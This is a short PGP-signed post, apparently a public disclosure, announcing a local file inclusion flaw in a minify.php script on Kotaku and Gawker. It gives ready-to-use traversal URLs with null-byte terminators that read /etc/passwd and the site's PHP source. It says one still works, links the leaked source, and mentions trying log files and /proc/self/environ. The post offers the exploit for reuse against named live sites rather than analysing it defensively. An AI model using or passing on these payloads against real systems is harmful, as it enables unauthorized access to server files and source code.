Gawker Local File Inclusion

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Thought I'd share this...found an LFI on gawker which is on the  
same server as Kotaku and other sites part of their 'network'  
  
http://kotaku.com/assets/minify.php?fsid=dfdsf&type=sads&sb=../../..  
/../../../../../../../etc/passwd%00  
  
^ works for gawker as well, just replace the name  
  
Full source code of the offending page http://pastebin.com/eWuExuke  
  
newline characters are stripped out however...  
  
This was the original 'LFI' I used to get the source code  
http://gawker.com/assets/minify.php?base=/assets/base.v9/css/../../l  
ib/jsmin.php%00&files=asfdf.css  
  
It seems to be fixed today though. But the other LFI above still  
works :D  
  
AFAIK it's not exploitable beyond the obvious information  
disclosures, as they don't allow read access to logfiles, and  
/proc/self/environ is unreadable. Still amusing to find this on  
there.  
-----BEGIN PGP SIGNATURE-----  
Charset: UTF8  
Version: Hush 3.0  
Note: This signature can be verified at https://www.hushtools.com/verify  
  
wpwEAQMCAAYFAkx9aS4ACgkQ3nE+T38NspftqgP+N5mPHgA/n5JzGtekqQv6HpbcFS/W  
iL4xh7OpfZISj7GXQJZjv40muLEkQFEgEZmNnX+Mw5y8ByLNqkDjbEULdLPe3XjB4TEy  
TrkzY2jRbvyO+KWzBs1jFFrAAbdK+UhYt94ELX/optiusAUWI3ZoWsh1umateF67sLJ0  
RlpDn5Y=  
=ryBU  
-----END PGP SIGNATURE-----  
  
`